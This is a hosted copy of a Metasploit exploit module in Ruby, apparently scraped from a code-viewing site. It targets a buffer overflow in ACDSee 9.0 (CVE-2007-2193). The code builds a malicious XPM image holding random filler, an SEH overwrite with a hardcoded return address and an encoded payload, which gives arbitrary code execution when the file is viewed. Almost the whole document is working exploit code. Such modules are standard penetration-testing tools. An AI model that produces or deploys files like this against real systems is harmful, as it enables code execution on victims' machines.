Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/acdsee_xpm.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'ACDSee XPM File Section Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in ACDSee 9.0.16When viewing a malicious XPM file with the ACDSee product,17a remote attacker could overflow a buffer and execute18arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => 'MC',22'References' =>23[24[ 'CVE', '2007-2193' ],25[ 'OSVDB', '35236' ],26[ 'BID', '23620' ],27],28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31'DisablePayloadHandler' => true,32'AllowWin32SEH' => true33},34'Payload' =>35{36'Space' => 750,37'BadChars' => "\x00",38'StackAdjustment' => -3500,39'EncoderType' => Msf::Encoder::Type::AlphanumUpper,40'DisableNops' => 'True',41},42'Platform' => 'win',43'Targets' =>44[45[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],46],47'Privileged' => false,48'DisclosureDate' => '2007-11-23',49'DefaultTarget' => 0))5051register_options(52[53OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),54])55end5657def exploit5859filler = rand_text_alpha_upper(rand(25) + 1)6061# http://www.fileformat.info/format/xpm/62head = "/* XPM */\r\n"63head << "static char * #{filler}[] = {\r\n"64head << "\""6566buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)6768foot = "\",\r\n" + "};\r\n"6970xpm = head + buff + foot7172print_status("Creating '#{datastore['FILENAME']}' file ...")7374file_create(xpm)7576end77end787980